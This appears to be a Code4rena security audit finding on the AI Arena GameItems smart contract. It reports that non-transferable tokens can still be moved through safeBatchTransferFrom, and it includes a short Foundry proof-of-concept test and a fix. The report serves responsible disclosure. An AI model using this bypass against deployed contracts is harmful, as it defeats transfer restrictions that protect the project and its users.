AI Arena - m4ttm's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/5b2ab9f9fadd0b91268ff6f22b4ae0fd5b79ec09/src/GameItems.sol#L301-L302

Vulnerability details

Impact

GameItems uses the transferable parameter to disable the ability to transfer a token, however it is only checked in the overriden implementation of safeTransferFrom. The existing safeBatchTransferFrom method can still be used to bypass this check. https://github.com/code-423n4/2024-02-ai-arena/blob/5b2ab9f9fadd0b91268ff6f22b4ae0fd5b79ec09/src/GameItems.sol#L301-L302

## Proof of Concept Add the following to https://github.com/code-423n4/2024-02-ai-arena/blob/5b2ab9f9fadd0b91268ff6f22b4ae0fd5b79ec09/test/GameItems.t.sol

function testBypassTransferability() public {
        _fundUserWith4kNeuronByTreasury(_ownerAddress);
        _gameItemsContract.mint(0, 2);
        _gameItemsContract.adjustTransferability(0, false);
        uint256[] memory ids = new uint256[](1);
        uint256[] memory amounts = new uint256[](1);
        ids[0] = 0;
        amounts[0] = 2;
        _gameItemsContract.safeBatchTransferFrom(_ownerAddress, address(1), ids, amounts, "");
    }

## Tools Used

Manual Review

## Recommended Mitigation Steps Override safeBatchTransferFrom and check the transferable of every id in the batch.

Assessed type

Access Control